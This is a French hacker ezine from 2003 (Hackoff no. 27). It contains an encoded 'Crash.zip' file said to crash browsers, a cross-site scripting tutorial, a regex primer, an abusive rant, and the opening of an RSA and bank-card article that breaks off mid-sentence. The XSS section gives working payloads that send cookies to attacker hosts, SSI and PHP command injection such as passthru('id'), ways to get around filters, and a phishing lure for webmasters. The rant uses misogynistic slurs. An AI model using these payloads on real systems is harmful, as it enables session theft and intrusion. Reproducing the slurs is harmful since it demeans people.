27-05-2003                - H@CKOFF N 27 -                 - Factory Edition *-

,,`,,`,,``,,`,,`,,

         _/    _/    _/_/      _/_/_/  _/    _/    _/_/    _/_/_/_/ _/_/_/_/
        _/    _/  _/    _/  _/        _/  _/    _/    _/  _/       _/
       _/_/_/_/  _/_/_/_/  _/        _/_/      _/    _/  _/_/_/   _/_/_/
      _/    _/  _/    _/  _/        _/  _/    _/    _/  _/        /
     _/    _/  _/    _/    _/_/_/  _/    _/    _/_/    _/       _/

,,`,,`,,``,,`,,`,,

    /\
    \ Bienvenue  dans  ce  Hackoff  No  27 Factory edition, une dition a \
     \ gnration  savatiquement  spontane  car  sa  force de publication \
      \ repose  sur  un  systeme  automatis.  Au  sommaire de ce numro on \
       \ vous    endort    sournoisement  les  cellules  grises  a  base  de \
       / metaphores   tires  par  les  cheveux  de  la  tete  sans  rapport /
      / manifeste  avec  les  sujets dvelopps mais en rapport troit avec /
     / leur  contenu  latent;  du  code  a  dcoiffer et drouter tous les /
    / brouteurs,  des  expressions  rgulieres, des iptables, des humeurs /
   / et des tumeurs, des suppos et des cacahuetes grilles.              /
   \____________________________________________________________________/
                                         \ |
                                          \|
                                           .
                                      __________
                                  .,:;>The Crew<;:,.
                                      
                                      /gard\
                                     /  misto.  \
____________________________________/  .hertz..  \______________________________
 -桢 /  ..blured..  \-桢
/  ...courou...  \
                                 /  ....tobozo....  \
                                /  ....jericho.....  \
                 ______________/  .....lansciac.....  \______________
                 `,,========================,,`
                 / Ghosts: sniffdoz frogman \
                            /----------------------------\
                           / Guests: hal2001 ulysse joey  \
                           



                  _______________________
 ___________     /  TabLe des mAtires : \
/  HACK0ff  \   ||
] -=v0L27=- [   |     [0]   disclaimer                                 tobozo  |
\ May 2003  /   |     [1]   edito                                      tobozo  |
     |  ----------------------------------------------------------  |
                |     [2]   Crash any damn brouteur                    tobozo  |
                |     [3]   CrossSite Scripting                       Frogm@n  |
                |     [4]   Les expressions rgulieres                symbioz  |
                |     [5]   Assist+Libr=Suicid                       Nils  |
                |     [6]   Securite et cartes bleues                 maddany  |
                |     [7]   Anonymat                         hal2001 / tobozo  |
                |     [8]   Uncapping DOCSIS                           tobozo  |
                |     [9]   Binarit                                 Lansciac  |
                |     [a]   Stegano Megalo                            leonard  |
                |     [b]   BTH RTFM DMZ CQFD(*)                     lansciac  |
                |                                                              |
---------8<-----+--------------8<---------------------8<---------------------8<-
                
                :
                .







                     _        ___________________        _
-*0*-                 `^*;:,.>   sclamr3   <.,:;*^`
_____________________________/ tobozo \______________________________
`,,`,,`,,``,,`,,`,


Honni  soit  qui  mal y pense et y ment mine de rien car le suppo n'est pas loin
pour  celui  qui  s'y  frotte  en  pensant  ne  pas  s'y  piquer meme si un bien
malappris  ne  profite  qu'a  autrui.  Bien qu'a bon chat bon rat, a vieux chat,
jeune  souris,  et  meme  quand le chat n'est pas l, les souris dansent car qui
ne  nourrit  pas  le  chat,  nourrit  le  rat,  enfin il n'est si petit chat qui
n'gratigne  qu'un  chat  chaud qui craint l'eau froide, a ceci pres que si la
nuit,  tous  les  chats  sont  gris,  il  ne faut pas rveiller le chat qui dort
quand  personne  ne  veut  attacher la sonnette au cou du chat et que les chiens
ne font pas des chats. Miaou















        tobozo@madchat.org


`,,`,,`,,``,,`,,`,














                     _        ________________________        _
-*1*-                 `^*;:,.>         t 0       <.,:;*^`
____________________________/ tobozo \________________________
`,,`,,`,,``,,`,,`,

Prets  a  tout pour consolider l'equipe, des auteurs se sont naivement appliqus
a  imiter  le  style  incomparable  des  divers  scribouilleurs  dont  le talent
perturbe  avec  confusion  les pages a parution logarithmique du symbole absurde
de    la  culture  sub-souterraine  d'un  prsent  alternativement  instable  et
endormi.  Constitus  d'un  florilege disparate de plusieurs sujets brulants (et
parfois  meme  bruls),  ils  ont ainsi brouillonn des articles qu'ils esperent
incontournables.  Observez  attentivement  leur  laboureux plagia et trouvez les
fautes  de  gout (et d'orthographe) qui a jamais leur interdiront tout espoir de
republier dans le hackoff apres le numero 42.



        tobozo@madchat.org

`,,`,,`,,``,,`,,`,





























             _ __________________________________________ _
-2-           `^*;:,.> Crash any damn brouteur  <.,:;*^`
_____________________/tobozo\_____________________
`,,`,,`,,``,,`,,`,
11/5/2002
blah blah blah avec ton decodeur tu decoderas . ..

Content-Transfer-Encoding: base64
Content-Disposition: attachment;
    filename="Crash.zip"

UEsDBBQAAAAIANtbUiuXESw2JgUAAGcZAAAJAAAAY3Jhc2guaHRt7VlRb9pIEH73rxjca0OUnE3S
RNUlxjoCpEdFmgjQVadTH9b2AJvaXnd3DSG9/mD+xc3ahiRqc+TlTqeUkWzM7My3M7Mzy3rwpjqJ
fcubIovoI+bpJ5AYN+2xSHWEYxuUDJt2KJmaHr1xsrG0fcvylF7ECHqRYdPWeKPdUCkaeFHIwZdM
KK65SE+ABUrEucbTr5bnFlpGXXNND8OF0phA2+h4bskjqdIUy8v8V2mgslPPzXzzzQsx1Sh9b3rg
tzRpZpqnE7iPAiNU2nEcAjnwPXelUAAEsQg/fc6FRv8hdBshFBGCiQRoAkDIU4RApHSPRH7LuHkg
Tj5RoLJlyMf8c44KWH4DGZvQ0xwD5XiBBNe3hhxCJPuKISgigjATWiKkbMYnTGMu94HHMGMwZnEs
uASKZkJKJMPgWuQSarUK7neR00wzvIWlXtLaRFzyyRIUydybJjM6WZwrTuAKJONKpIrYSvEgJgtP
KjhaYr+ADKco6bqlCQun5Tc2ei7J3imkO0xKPuOkkjEyCcYok81qhemoFFssIdphYYgRKbEixpL4
ZHhI4d3JU6CkwX1AbaJhns2U5Vw8WVawhReVL5ZZbohyszK0hqlLF9RVkRDk8geeRmKudikhLI8n
lCqDNiU2j/HEdcMTt9KgvO2LPFvWHsd+d9V9C/X3Qzhyjvfu8O5K4+cUtQpZhs51NnkCYIDzpFYh
vikBTcFROoRUUUxyFkMQs/DTPhRf9hWj8KDkpiD5LTaP/QLi1xc/ea7RfOKUhysvTJRnKBU3WcJM
mZjEwSpYEZ8BjyrfyB1PM0oimPNIT5uHr1/CFPlkqs2j72mqME0VC3BnUmAKmZh0M/VXqBsWAfvf
MdQbXrXeAwxHf/S7TXu9e6w3D+h3z0cnDWPJqHXW78LZ5aDTHTTthg0fep3Rb82DRoNMGQ3o6vil
0N1Xt7wN1hzrcQm3GnkSx5j9PX8eRp4+MiZp9YCbQFPel4vQOCpzaWP2DaHe68Kxc2yKI6zybyxZ
gmaVMGFyTMaUHPJNhZJnlBE6xOtAQBO+fD21CiknEmGe0K7oiAzT+u437LmksqvbnrL37BJFi8wp
gZxCttmgfXw9ahNEhDFSrZZCpw9nJdnKmE1OnvEJnAuZwHvUZ3maLnYU1GmXjYudttc9Lt1eZRKl
Fd2iKiXtg5e2751fDi7MLjoVlLpXl8ORyReeZrm+90tl006V4Cq1y2Kyf9nSlrb0g5ANCbuJMZ2Y
nWOz+Ja2tKXnQTa9c8X5+uffLw6pVnFKtdbH1I0Hut7FW3q5oIPHgxPK3XtBeShpPBM6eEJE2jFT
qtcx59QyDJdn77rtEbT7reGw13k2sfiR6WizyPOi/8Jh2oHKUnlCkXUvzrod08QoXgfp/bEstTW7
aU+1zk5ct/2X23I2z72l/zttS+5foEfacw9K7TK4xlBDh2kGfSEyqEfctMtAuFWLTJQSEUlUpwln
qhNzoihHnjDJODYt6/tHCFh1F4ftQe+K9oQZkxCKWEhoQopzaEnJFqdWwfrz4CNx7fmUa7RXvMMH
vLGQ9RtiNE7hBrzXdN/b27W+WFDRuu8TTNrVLCXMzce1DB8biCYc7q5ZdwArKidZs79apt2/cmJT
62eI8RgGOEaJaYgRnJs+1v3uzzro54PWRXfYHcHg8sOQpjxuvNyny69Gir2R3L+3HP804q7gHlmr
PkLVSwZjrSqOh/umOR1IMTf9vBRhhrkuetRZXLRRoVarWYQdiGhR/JtR/L/yN1BLAQIUABQAAAAI
ANtbUiuXESw2JgUAAGcZAAAJAAAAAAAAAAEAIAC2gQAAAABjcmFzaC5odG1QSwUGAAAAAAEAAQA3
AAAATQUAAAAA




        tobozo@madchat.org

`,,`,,`,,``,,`,,`,

























             _   _____________________________________   _
-3-           `^*;:,.>  CrossSite Scripting    <.,:;*^`
_____________________/Frogm@n\_____________________
`,,`,,`,,``,,`,,`,
28/11/2002
Cross Site Scripting
                ********************

Introduction
************

Comme  j'ai  fait  un  tutoriel sur les failles cross site scripting PHPNuke, je
vais  maintenant  approfondir  un  peu  le sujet. Parfois on me dit "ce sont que
des  failles  qui  servent    rien"... voyons d'abord comment s'en servir :) La
methode  d'utilisation  du  xss  la  plus connue est celle du social engineering
avec  un  lien  en  html  qui contient un code pas gentil. Alors le webmaster se
dit  "pas  grave  je vais faire attention" ou il empeche la lecture du html dans
la reception des mails.

Et  bien  ce  n'est  pas suffisant... loin de l. La faille cross site scripting
est enormement rpandue dans les pages web dynamiques et fort sous-estime.

Rappel :

Le  "cross  site  scripting" est une faille permettant, le plus souvent dans une
page   web  dynamique  contenant  un  formulaire,  de  faire  executer  du  code
javascript, html ou autre directement sur le site.

Nous  n'allons  pas  aborder  ici  le  sujet  du  XSS  "permanent"  mais  il est
difficile de le contourner totalement.

Vous pouvez avoir + d'infos au sujet du xss ici :
http://www.cert.org/advisories/CA-2000-02.html

Le SE
*****

Commencons  par  l'utilisation  la  plus  connue  du  cross  site scripting : le
social  engineering.  Literalement  :  Ingnierie sociale, cd le fait de savoir
se  comporter  avec  les  gens,  une sorte de sciences des contacts sociaux. Ici
comme la plupart du temps dans le hack  des fins de tests ou illegales.

Notre  but  est  donc  de  faire  executer  un code par le webmaster. Disons par
exemple  de  prendre  son  cookie.  Bon,  je  place  un  fichier php par exemple
hack.php  sur  un  serveur  <server>. Je me trouve un script script.cgi avec une
valeur  val  qui  est  atteind  de  XSS.  Pour recuperer le cookie, je doit donc
obliger  le  webmaster   aller  l'url 'http://<server>/fichier.php?val=' + son
document.cookie

Il nous faudra donc envoyer au webmaster un message de ce genre :
"
Bonjour,
il y a un probleme dans votre site
<a
href="/script.cgi?val=<script>location="http://<server>/hack.php?"+document.cookie">
ici </a>
"

En voyant l'url sur son propre site, le webmaster risque de ne pas se mefier et
de cliquer sur le lien.

SSI
***

Les  SSI  (Server  Side  Include)  sont  des  petites commandes xcutes par le
serveur.  Elle  ne  fonctionne que si les SSI sont activs, donc le plus souvent
sur des sites utilisant asp.

On peut par exemple s'en servir pour inclure un fichier dans une page :

<!--#include file="menu.html" -->
ou
<!--#include virtual="article.html"-->


On  peut  aussi  utiliser  les  SSI  pour  rediriger  vers  une  autre  url,  en
remplacant  le  menu.html  ou  le  article.html  par  l'url  o  on  veut que le
webmaster  se  rende.  Ou encore faire executer des commandes, comme la commande
id pour connaitre l'username du serveur web :


http://<server>/script.asp?comment=<!%20#<!--#exec%20cmd="id"-->

VBS
***
Certains elements du vbscript peuvent en effet tre executs grce  du cross
site scripting.
Essayez par exemple :

http://host/script.php?val=<script%20language="vbscript">msgbox%20"VbScRiPt"</script>.

PHP
***
On peut essayer d'inserer des commandes en php grce aux requetes <? et ?>.
On peut par exemple envoyer un mail :

/script.php?val=<?%20mail('destinataire','sujet','message');%20?>

ou bien faire executer des commandes :

/script.php?val=<?%20passthru("id");%20?>


HTML
****
Pour  faire  afficher  une  page  ou rediriger vers une autre page, il n'y a pas
que les cas qui ont t vus ci-dessus.

Par exemple la balise IFRAME :
<IFRAME SRC="http://attacker/file.html" WIDTH="200" HEIGHT="300"></IFRAME>

ou :

<head><meta HTTP-EQUIV = "refresh" CONTENT = "0 ; URL =
http://attacker/"></head>

ou encore :

<img src="javascript:location='http://attacker/page.php?'+document.cookie">

<body onload="location='http://were.to.go';"></body>

<LINK REL=STYLESHEET TYPE="text/javascript" SRC="badjavascript.js">

ainsi que la balise EMBED, FORM et bien d'autres.


Les filtres
***********
Les  filtres  supprimant  par  exemple les caracteres < ou " ne sont parfois pas
suffisant.  Le  caractere  "  peut  par  exemple  tre remplac par son encodage
(Latin-1) :

&#34; ou encore ".
Donc par exemple :
www.host.com/form.asp?msg=<script>loc&#97;tion=&#34;http://exemple.com/g.php?&#34;+document.cooki&#101;</script>
Ce petit tableau pour rappel, avec les caracteres qui peuvent etre utiles :

! : &#33;   ? : &#63;
" : &#34;   [ : &#91;
$ : &#36;   / : &#47;
% : &#37;    : &#92;
' : &#39;   ] : &#93;
( : &#40;   ` : &#96;
) : &#41;   a-z : &#97;-&#122
+ : &#43;   { : &#123;
: : &#58;   | : &#124;
< : &#60;   } : &#125;
= : &#61;
> : &#62;

Je n'ai mis ni & ni #, car si ils sont filtrs, il le seront aussi dans ce cas
l.
Et aussi :

" : "   ]
< : <     ] } sera considr comme du texte
> : >     ]/

un peu de culture par Majen : l'euro : &euro;


& : %26           ! : %21           ? : %3F           " : %22           [ : %5B
$ : %24           / : %2F            : %5C           ' : %27           ] : %5D
( : %28           ` : %60           ) : %29           + : %2B           { : %7B
: : %3A           | : %7C           < : %3C           } : %7D           = : %3D
> : %3E           # : %23           ; ; %3B           a-y : %61-%79


Autre  chose...  si  on a une page du style /script.cgi?tel=03264598714 et quand
dans    la   source  on  voit  qqchose  du  genre  <input  type=hidden  name=tel
value="03264598714">,  une  possibilit qui a fonctionn par exemple sur le site
www.microsoft.com  est  de  commencer le code  inscrire dans la valeur par "> ,
par exemple /script.cgi?tel="><script>[UN SCRIPT]</script>.

Le code source peut tre alors interpret de la sorte :

<input type=hidden name=tel value="">
/* le dernier "> etant celui qu'on a inser au debut de la valeur. Le input est
alors ferm
/* et "tel" a une valeur vide.
<script>[UNSCRIPT]</script>
/* Vient alors le script...
">
/* et la fin du input qui tais l  la base et sera surement interprt comme
du texte.

Dans le mme style vous pouvez aussi essayer '>[SCRIPT] ou </font>[SCRIPT] ou
encore
">[SCRIPT]<" .


Il  faut  aussi pouvoir jouer avec les filtres fixs. Imaginez par exemple qu'un
filtre repere le mot "script", et s'en debarasse en le supprimant.

Essayez alors d'entrer un script dans ce genre :
<scrscriptipt>alert('test')</scrscriptipt>


Verifiez  que  un  caractere  ou  un  mot  ne soit pas remplac par un caractere
sensible.  Si  par  exemple  ?  n'est pas accept mais que "cookie" est remplac
par ?, il vous suffira d'entrer :
qqchoz.php?val=<cookie%20passthru("id");cookie>



Un  dernier  truc  au  niveau filtre... dans certains cas, si ' est interdit, il
peut etre remplac par l'antislash .


Ou alors, il y a la balise form.
pour faire <script>window.open('http://www.hop.com')</script>, il suffira
d'ecrire le code :
<form name=haha><input name=hoho value=http://www.hop.com></form>
<script>window.open(document.haha.hoho.value)</script>

Il faut aussi savoir qu'une balise form ne peut pas tre imbrique dans une
autre balise form.
Si dans la source a donne :
<form method=post>
<input type="machin" name="truc">
<form name=haha><input name=hoho value=http://www.hop.com></form>
<script>window.open(document.haha.hoho.value)</script>
<input type="button" value="envoyer !">
</form>

Cela ne fonctionnera pas, il faudrait d'abord fermer la premire balise avec un
</form>, et donc commencer le code inser par cela.

Solution :
**********

Normalement,  si  vous  bloquez  ces  caracteres,  vous ne devriez plus avoir de
problemes  de  cross  site  scripting : <> # & % ! [] ? ; . Mais pour + de secu,
voici  une  liste  de  mots/caracteres  (evidemment  pas  complte) pouvant tre
nfastes pour un site :


EMBED
script
VBS
"
'
location
cookie
:
LINK
IFRAME
javascript
(
)
;
refresh
OBJECT
onload
onStart
+
=
$
*


Il  y  a  des  scripts anti-cross site scripting dj tout fait sur cert.org, je
n'en ai donc pas fait de nouveaux.

Et    on    peut  utiliser  des  fonctions  du  langage  dj  prpares,  comme
htmlspecialchars() en php.

Le  cross  site  scripting  est une "matire" que je dcouvre, je ne la maitrise
pas  parfaitement.  D'autant  plus  que  ce  tutoriel  parle  surtout du XSS dit
"non-permanent",  cd  uniquement  via  des  urls.  Mais  le  fait d'envoyer par
exemple  un  email  ou de poster sur un guestbook un message contenant un script
nfaste est aussi du XSS.


Greetz / dedicated to :
***********************
Val2, Tobozo, [RaFa], Majen, Wong Family, Entity, C-2K, Cert.org, H3zEN,
Skull.Rider,
Juliendusud, HX.

Credits :
*********
frog-m@n
leseulfrog@hotmail.com
21/01/02

Correction :
************
Le texte a t lgerement revu le 28/11/02.
Une nouvelle version devrait sortir un jour ou l'autre :)





        leseulfrog@hotmail.com

`,,`,,`,,``,,`,,`,

























             _   _____________________________________   _
-4-           `^*;:,.> Expressions rgulieres  <.,:;*^`
_____________________/symbioz\_____________________
`,,`,,`,,``,,`,,`,
18/4/2002
Les Expressions regulieres.

Qu'est-ce qu'une expression rguliere ?

Nomme  galement  Regular  Expression (RegExp), une expression rguliere permet
de  caractriser  le  format  d'une  chaine  de caractere. Plus prcisment, une
expression  rguliere  est un motif ou une srie de motifs de caracteres compar
  une  chaine de caractere. Le but tant de rechercher ou de remplacer un motif
dans une chaine de caractere.

Cet  article  n'a  rien  d'extraordinaire,  si  vous  connaissez les expressions
regulieres,  si  vous savez vous en servir, c'est inutile de le lire. Nanmoins,
certains  ne  savent  pas  ce  qu'est  une  expression  reguliere,  certains  ne
connaissent  meme  pas  leur  existence.  C'est apres avoir fait ce constat  que
j'ai pris mon courage a 2 pieds et que j'ai decider d'ecrire cet article.

Retrouver  ce  que  vous  voulez  dans un texte (mot, phrase, ponctuation, etc),
rien  de  plus  simple  grace  a ce que l'on appelle les expressions regulieres.
Elles  sont  utilisable en PHP, autant qu'en perl et meme en ligne de commande !
Il  en  existe des tas (sisi je l'jure). Une expression reguliere a l'origine ne
ressemble  strictement  a rien. Exemple: (*.?). Ca vous dit quelque chose ? Non,
c'est  pas  grave, on traitera dans ce tutorial une grande partie des caracteres
les plus courant pouvant vous aider a construire vos expressions regulieres.

Chaque caractere sera detaill et aura des exemples donc pas de panique.

On  va  commencer  par  les  caracteres  les plus simples et les plus utiles (ca
veut pas dire que ceux de la fin sont inutiles :)). - Les caracteres ^ et $.

Ce sont les deux caracteres lmentaires aux expressions regulieres :

Caractere Fonction(s)

^  Definit le debut  d'une chaine de caracteres. $ Defini la fin d'une chaine de
caracteres. EXEMPLES:

^oiseaux  :  Cette exemple  definit  une  chaine  de caracteres  commenant  par
"oiseaux".
oiseaux$ : Celle-ci definit une chaine de caratere terminant par "oiseaux".
^oiseaux$ : Et enfin, cette derniere defini une chaine de caracteres qui
commence ET se termine par "oiseaux".

--------------------------------------------------------------------------------

- Les caracteres * , + et ? : Caractre Fonction(s)
* Zero ou Plusieurs
+ Un ou Plusieurs
? Un ou Zero

EXEMPLES:
abc*  : Cet exemple  definit une chaine de caracteres qui contient "ab" suivi de
rien ou #de plusieurs "c".=> ab, abc, abcc...etc...
abc+  :  Cet exemple  definit une  chaine de caracteres  qui contient "ab" suivi
MINIMUM de un "c".=>abc, abccc...etc..
abc?  : Cet exemple  definit une chaine de caracteres qui contient "ab" suivi de
RIEN ou un "c" mais RIEN D'AUTRE.=> ab , abc. C'est TOUT!

- Les caracteres d'accolades { }:

Les  2  caracteres  vont  ensemble.  Ils  servent  tout  simplement a donner une
limite  de  chiffres  derriere  la chaine de caracteres. Vous comprenez mieux en
lisant l'exemple ci dessous :

abc{5}:  Cette  exemple definit une chaine de caracteres qui contient "ab" suivi
de 5 "c". =>abccccc.

abc{3}:  Cette  exemple definit une chaine de caracteres qui contient "ab" suivi
de 3 "c". =>abccc.

On peut aussi ajouter la virgule aux accolades ",":
La  virgule  sert a  donner  une  infinit de  chiffres  derriere  la chaine  de
caracteres.

abc{2,}  : Cet exemple definit une chaine de caracteres "ab" suivi de AU MOINS 2
"c".=> abcc, abccc, abccccccccccc....etc....

Definissons tout de mme un "maximum" derriere la virgule.

abc{5,10)  : Cet  exemple defini une chaine  de caracteres "ab" suivit de 5  10
"c". => abccccc, abcccccccccc, abcccccccc...etc...


- Les caracteres parentheses ():

Jusqu'a  maintenant,  on  a  toujours  choisi  un  seul  caractere  derriere une
chaine.  Les  parentheses  servent  selectionner  une  sequence  de  caracteres.
a(lo)*: Cet  exemple definit une chaine de caracteres qui contient "a" suivi  de
zero, un ou plusieur "lo". => a, alo, alolo, alololo, alolololo...etc...


- La barre | (AltGr-6)

Ce caractere contient simplement un operateur OU. Exemple :
"un|le": chaine qui contient "un" ou "le"
"(une|la) voiture": chaine qui contient "la voiture" ou "une voiture"
"(a|b)*": chaine qui contient une suite de "a" ou de "b".

- Le caractere .(point).

Ce caractere cherche n'importe quel caractere 1 fois. Exemple:

^L.  :  Cette chaine contient un  L suivi de  n'importe quel caractere 1 fois =>
Le, La, Les etc...etc...

Les crochets [], tirets - et accents circonflexe ^.

Ces 3 caracteres sont independants les uns des autres mais je vais les expliquer
en meme temps pour donner des exemples concrets :

Les  crochets  definissent  une  chaine  de  caracteres AUTORISS ou INTERDITS :
[tahc]  contient  une  chaine  de  caracteres  contenant  un "t", un "a", un "h"
et/ou un "c".

En revanche, pour faciliter une recherche de caracteres et pour ne pas  enumerer
tout l'alphabet, vous pouvez utilisez le caracteres "-".

[a-i] contient une chaine de caracteres allant de "a" a "i".

Enfin,  vous  pouvez tout simplement INTERDIRE des caracteres dans une chaine en
utilisant  "^".  Vive  le  [^fn]  Contient  une  chaine  de  caracteres REFUSANT
SYSTEMATIQUEMENT  les  lettres  "f"  et  "n". (et tant mieux=)) Attention : Pour
rechercher  un  caractere  special.  Il  faut  le faire preceder d'un antislash.
Sauf  s'il  est  entre  crochets[].  En  effet,  tout  caracteres  ou  chaine de
caracteres represente ce qu'il est. Donc inutile de mettre des antislash.

Et  pour  terminer,  nous  allons  traiter  "les  classes des caracteres". Elles
servent  a  rechercher des "types" de caracteres sans avoir  tous les enumerer.
Pour faire ceci le plus simplement possible je vous les enumere dans un tableau.

Les classes de caracteres

 [:blank:] - [ x09]         Espaces ou tabulations
 [:alpha:] - [A-Za-z]       Caracteres alphabetiques
 [:digit:] - [0-9]          Caracteres numeriques
 [:alnum:] - [A-Za-z0-9]    Caracteres AlphaNumerique
 [:punct:] - [!-/:-@[-'{-~] Caracteres de ponctuation.
 [:graph:] - [!~~]          Caracteres affichables et imprimables
 [:space:] - [ t v f]       Tous types d'espaces
 [:punct:] - [!-/:-@[-'{-~] Caracteres de ponctuation
 [:print:] - [~~]           Caracteres imprimable(sauf zones de controle).
 [:lower:] - [a-z]          Caracteres en minuscules
 [:upper:] - [A-Z]          Caracteres en majuscules
[:xdigit:] - [0-9a-fA-F]    Caracteres hexadcimal

Pour  vous  donner  un  exemple  CONCRET  de  ce  que vous pouvez faire avec les
expressions regulieres, observez la portion de code en php suvante :

<?php
$var = join ("", "http://www.monsite.com/index.htm");
#La variable $var contient le contenu de l'index.

$supprime = ereg_replace("<script(.*)> /script>", " " , $var);

/*
La  fonction  ereg  replace  sert  a  remplacer  un  caractere  ou une chaine de
caracteres    par    ce   que  l'on  veut.  Dans  cet  exemple,  nous  utilisons
l'expressions  reguliere  pour remplacer par un BLANC tout les JavaScript qui se
trouvent   sur   la   page   http://www.monsite.com/index.htm.  Ceci  permet  de
recuperer la page index du site en supprimant tous les javascripts.
*/

echo $supprime
?>







        symbioz@madchat.org

`,,`,,`,,``,,`,,`,

























              _   ____________________________________   _
-5-            `^*;:,.> Assist+Libr=Suicid <.,:;*^`
______________________/Nils\______________________
`,,`,,`,,``,,`,,`,
20/3/2002
mercredi 20 mars 2002 18:43

Cet  apres  midi on est venu me demander ce que je faisais de mes journes. J'ai
rpondu  par  mon  url  (la  moins  "choc",    savoir  Flesh  Insanatarium). La
demoiselle de ce pas s'en alla ce site contempler.

Reaction ( chaud) de la demoiselle: "Je comprends pas trs bien ton site,
tu m'expliques? "

Et  c'est  l que je veux en venir. Quand un site ne vend rien, quand un site ne
parle  pas  du webmaster pendant 2 pages, quand un site ne parle pas au visiteur
comme  on  parle   un golmon, avec un o combien dlicat: "bienvenue sur ma page
perso,  ici  vous trouverez mes loisirs, mes gifs anims, mes films prfrs, ma
collection  de  crevettes"... le visiteur est perdu nom de dieu! Il sait plus ou
il  est,  on  ne lui met plus ses pampers, il se retrouve sur un site qui ne lui
dit  pas  quoi penser de ce dernier (quelle tragdie). Il n'y a pas de vote, pas
de  compteur  pas  de  forum de trolls. Il n'y pas de message dbile directement
adress  au  visiteur. Il n'y a pas de pop up minable "alors vous aimez mon site
han? Votez pour moi".

Non  non  non,  rien  de  tout  a, libert totale, l'internaute visite enfin un
site  qui  contient  plus  de  contenu que de blah blah prsentatif. Le pekin du
coin  est  alors  libre  de se faire sa propre opinion de la chose et au lieu de
a je recolte un:

"Je comprends pas trs bien ton site, tu m'expliques? "

T'expliquer  quoi  espece  de  petasse? Sur quel bouton tu dois cliquer? Le sens
dans  lequel  tu dois regarder mes gfx? S'il n'y a pas de mode d'emploi tu piges
plus  a  y  est  t'es  perdue sale petite sous merde? Il faut en plus que je te
mettes  un  son  en  fond  sonore avec une voix de con qui dit "bienvenue sur le
site  de  Nils.  ici  vous  trouverez  des  dessins.  Pour  regardez les desins,
veuillez cliquer et les regarder". Je vais te faire le cul salope.

Paradoxe!  Ce  pur  produit  de notre systme de consommation, tant habitu  ce
que   l'information  vienne  lui  bouffer  le  minou  des  le  reveil  par  voie
hertzienne,  tant  habitu    ce  qu'on  lui  dise  "regarde,  c'est  cool"  ou
"regarde,  c'est  pas  cool". Ce pur produit de notre systme - de merde il faut
le  dire  -  n'est  mme  plus  capable non pas de comprendre mais de simplement
voir la simplicit.

Non,  plus  personne  n'attend  de se faire une opinion de quoique ce soit. Tout
le  monde  en  ralit  attend qu'on lui dise ce qu'il doit regarder et ce qu'il
doit  en  penser.  Dtachez les du boulet qu'ils trainent comme des cons, et ils
tomberont, accabls, ne sachant plus quoi faire ni mme comment penser.

Voila,  c'tait  encore un pisode de "ces aventures quotidiennes qui dmontrent
combien nous nourrissons un systme culturel de l'incohrence"

http://insanatarium.free.fr/
par Nils





        nilsink@hotmail.com

`,,`,,`,,``,,`,,`,

























             _   _____________________________________   _
-6-           `^*;:,.>Securite et cartes bleues<.,:;*^`
_____________________/maddany\_____________________
`,,`,,`,,``,,`,,`,
5/6/2002
                        SECURITE ET CARTES BLEUES
                    par maddany@madchat.org et crilu

I. INTRODUCTION ET DISCLAIMER
II. INTRODUCTION AU RSA
III. PRELIMINAIRES MATHEMATIQUES
IV. APPLICATION A LA CARTE BLEUE
APPENDICE I. PROGRAMMES D'EXEMPLE EN JAVA
APPENDICE II. SOURCES ET BIBLIOGRAPHIE

I. INTRODUCTION ET DISCLAIMER

Bon,  on  va  commencer  par  dcourager  les  SK  :  cet  article ne traite pas
directement  des  yescards et ne devrait pas vous servir  grand-chose si ce que
vous  cherchez  c'est  comment  faire  des  yescards.  Le but de cet article est
essentiellement  de  donner  un  bon  background  mathmatique  qui  permette de
comprendre  le  cryptage  avec  le  RSA,  et son application  la scurit de la
carte  bancaire.  Le  ct  pratique sera dlaiss pour donner une comprhension
en  profondeur  de  l'origine  de la faille (mise en vidence par Humpich), donc
si  vous  voulez  savoir qu'est-ce que c'est que cette faille Humpich et comment
elle marche, ce texte est fait pour vous.

Les  dmonstrations  mathmatiques  de  la  partie  III sont de niveau maths sp
mais  n'utilisent  que  des  outils de maths sup (comprendre que c'est de niveau
maths  sup  mais  que ce n'est pas au programme de la sup), et je pense qu'elles
sont  accessibles    un  bon  lve de terminale S avec un peu de recherche (et
une  petite  culture  des  programmes  mathmatiques  du suprieur, notamment en
algbre).  Ces  dmonstrations  ne sont pas indispensables  la comprhension de
l'article,  elles  sont  surtout  l pour les tudiants qui cherchent  aller au
fond  des  choses  ou  juste  pour les matheux curieux de savoir le fondement du
RSA.



II. INTRODUCTION AU RSA

Le  RSA  est  un  systme de cryptage asymtrique bas sur un rsultat d'algbre
que    nous  dmontrerons  dans  la  partie  III  (on  dit  qu'un  cryptage  est
asymtrique  quand  on  n'utilise  pas  la  mme  cl  pour coder et dcoder les
donnes,  on  parle galement de cryptage  cl publique/prive; l'autre type de
cryptage est le cryptage symtrique ou  cl secrte).

Dans la thorie, le RSA fonctionne ainsi :

on prend p et q deux nombres premiers au hasard (on rappelle que les nombres
premiers)
on pose n = p*q
on prend un entier e<n qui soit diffrent de p et de q et premier avec
(p-1)(q-1) (cd tel que pgcd(e,(p-1)(q-1))=1)
on choisit d tel que e*d = 1 mod (p-1)(q-1) (o a mod b = a modulo b, o le
modulo de a et de b est le reste de la division euclidienne de a par b)

On appelle d l'inverse de e modulo (p-1)(q-1). On dit alors que le couple (n,e)
est la cl publique et (n,d) est la cl prive.

[Si    vous  voulez  voir    la  main  ce  que  peut  donner  du  cryptage  RSA
munissez-vous  d'une  calculatrice  et  d'un brouillon. Commencez avec de petits
nombres,  par  exemple p=13 et q=17, donc n=221, puis prenez par exemple e=5. Si
vous  cherchez  d  tel  que  e*d  =  1  mod  (p-1)(q-1) cd 5*d = 1 mod 24, vous
trouvez  rapidement  d=77.  On a donc gnr notre cl publique (221,5) et notre
cl  prive  (221,77). Je vous conseille de trouver votre propre exemple si vous
voulez  bien  voir ce qui se passe (avec une Texas Instrument, vous aurez besoin
des fonctions mod(a,b), gcd(a,b))]

Imaginons  maintenant  que  Fermat  ait  gnr une paire de cls et que son ami
Lagrange  veuille  lui  envoyer  la recette du poulet au pistou (j'espre que le
lecteur  n'coutera  pas  les  arguments  chronologiques  et  gastronomiques des
dtracteurs  de  cet  exemple  ;).  Fermat  et  Lagrange  n'aimant pas faire les
choses   comme  tout  le  monde,  ils  se  mettent  d'accord  sur  un  moyen  de
transformer  un  texte  en  nombre  et  vice versa en dfinissant une bijection.
Lagrange  chiffre  la  recette  du  poulet  au  pistou  (PaP pour les intimes) 
l'aide  de  sa  fonction  ce  qui  lui donne le nombre m (dit en clair), puis il
envoie    son  ami  le  nombre  crypt c = m^e mod n (bien entendu, Fermat aura
pralablement  communiqu  sa  cl  publique    Lagrange).  Fermat  retrouve le
